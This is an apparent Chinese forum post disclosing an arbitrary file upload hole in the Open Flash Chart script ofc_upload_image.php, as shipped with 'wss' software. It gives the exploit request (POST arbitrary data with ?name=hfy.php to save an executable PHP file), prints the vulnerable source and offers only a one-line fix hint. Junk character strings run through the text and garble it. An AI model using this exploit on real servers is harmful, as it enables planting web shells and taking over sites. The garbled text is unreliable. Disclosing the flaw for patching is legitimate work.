POST 数据漏洞文件执行任意后缀文件保存
% K# `& D/ N+ I9 ^' s 漏洞文件/chart/php-ofc-library/ofc_upload_image.php; X: a; e6 l1 y" V$ v2 A
8 Q; [: e, ~; |利用:$ p+ E7 \3 ~6 s% K- J9 g, T# S4 n- U' g
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名( X4 _. Z/ ~ Y. z. V
' E3 c. x$ B7 |8 w0 O% NPost任意数据
; t; z) |0 K* @保存位置http://localhost/chart/tmp-upload-images/hfy.php
7 T Z4 g8 M1 R1 V% H& \1 m# ~7 f3 c0 b, n* H* S9 ?$ v
5 Z4 Q2 a* G5 T( T* O9 L0 {
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~4 A: ?. B: A; \5 [# v. A" ~2 _3 ~
- r" y8 a) t4 }) e7 Z" B3 \# |
<?php/ F& i$ r- `# E# @
3 |6 R `/ \+ S! [
//" @- h; M+ \$ F9 K. l- I
// In Open Flash Chart -> save_image debug mode, you
" Q$ V' J O' f4 r/ o, L// will see the 'echo' text in a new window.* Q$ k6 y6 Z! e; k- ~0 ]/ X. Q, j6 M7 P' |
//
; @3 N, q. F+ n- J" [9 M! y4 Q
( L! z1 ]. b* F9 l/*) `# l, A; v" V7 V3 ?/ ?
, b0 C7 T3 I, d+ _0 l3 tprint_r( $_GET );/ H* a! R1 `# \9 c2 N2 o
print_r( $_POST );# o$ @6 P3 y/ K0 [0 e2 R* w/ {
print_r( $_FILES );1 D. C* g5 y( Q6 s( L2 B
) |. a1 a7 I: W( c9 Y
print_r( $GLOBALS );6 n+ ?7 R R. s8 B) C6 M
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
# r) F( X3 E& Z" _9 M3 m
; v" u. y$ v7 K' L# o*/
2 M# {9 X) H' |- h// default path for the image to be stored //
% E' w/ O0 u `0 e" V$default_path = '../tmp-upload-images/';! E5 d9 D* n2 S E( r# L( ]% y
" u$ Q' {9 C/ s* ?
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
e8 Q( x$ E3 j' k
' }5 m1 q5 B# Q+ c, g// full path to the saved image including filename //; S- u1 }8 N( q% v
$destination = $default_path . basename( $_GET[ 'name' ] );
* \1 i. E' Y; B/ h8 z
% K! T3 j, W5 g: ?echo 'Saving your image to: '. $destination;) m6 a. t6 V) a5 }. {
// print_r( $_POST );7 _# v9 A5 ]5 r4 k
// print_r( $_SERVER );
/ m' u3 r# K; f" T/ o2 u// echo $HTTP_RAW_POST_DATA;8 d- ?, j* D$ I* ?& k6 |
& g* r& h9 f3 v2 Q//
- E f- i) H7 [// POST data is usually string data, but we are passing a RAW .png" y3 o' Y( n3 f$ u
// so PHP is a bit confused and $_POST is empty. But it has saved
% p+ C/ h8 ?5 m// the raw bits into $HTTP_RAW_POST_DATA0 f b: B8 J4 y7 q
//
+ W2 u! l* ?7 [: }( m/ A
* N, w( K3 }' o+ ?' M. ]' Q' J: J$jfh = fopen($destination, 'w') or die("can't open file");
& C' h, _/ t0 }( Bfwrite($jfh, $HTTP_RAW_POST_DATA);( U7 f5 g! u' B- ?( a
fclose($jfh);9 ^: C+ e V* G
% D8 s5 R( @" c//
+ s3 F( H! z" e c// LOOK:* k; w; l- |0 D# A
//
7 n# A, y# C, ]) Q. yexit();
9 _/ g; G! P6 K& I//
3 N4 p' B5 e$ a; [" Z. K// PHP5:- R4 c( p& N/ P& y5 G7 }
//9 m5 j6 ~' |. N2 @) R# E3 m
6 r; z n# X" }5 }% F3 w6 ~
2 b( m4 F0 V4 g1 |: {; k6 L2 T+ W// default path for the image to be stored //
; f" z8 M+ I( {9 v" P$default_path = 'tmp-upload-images/';/ V$ R2 p4 Y- q$ e0 [7 w' U
6 h- Z z! f4 f z2 }& v
if (!file_exists($default_path)) mkdir($default_path, 0777, true);0 `# q: j) I4 `/ ?# W
# U' K/ \; P% S# g8 w// full path to the saved image including filename //
2 Z# _; D" P9 f3 I4 i' X7 I3 @$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
! a. a* i; i5 B8 q7 f6 s' q- i
// move the image into the specified directory //4 x1 O# Y& f$ R
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
0 ]2 N7 \+ b: D: n echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";- ~# l0 Q6 L2 t2 y4 m3 i' ~
} else {
* a4 V( k5 Q2 k; y) X echo "FILE UPLOAD FAILED";
; Z! f% W8 {* ]& ]% J+ W2 p}' t2 I! {- Z- w% X3 ]% Q; j- t
$ C. v; [3 y% @, }! q; E2 x0 _, o
?>
6 W: r+ s6 V( K7 |) }4 K4 w3 T$ Q% W- m- ^& }+ K. m8 \# f
8 \- P& `9 G$ X) d/ G8 m4 B& p2 n9 q6 i& B
9 [. x9 y0 A8 n M$ ]8 I. K5 K& f9 Y u% @8 ?
, m7 s5 X# N! u/ R* C' k
修复方案:
~& t5 j* {+ q, K5 Q这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 , B+ Y8 X" |7 s: x2 ~5 \1 E
; Z! P7 w; I; o* {5 u
* i; V; S' [8 ~# D6 u+ c! i8 x& A6 t7 Q5 n" ~7 }
3 Q5 o( g" L' E- f |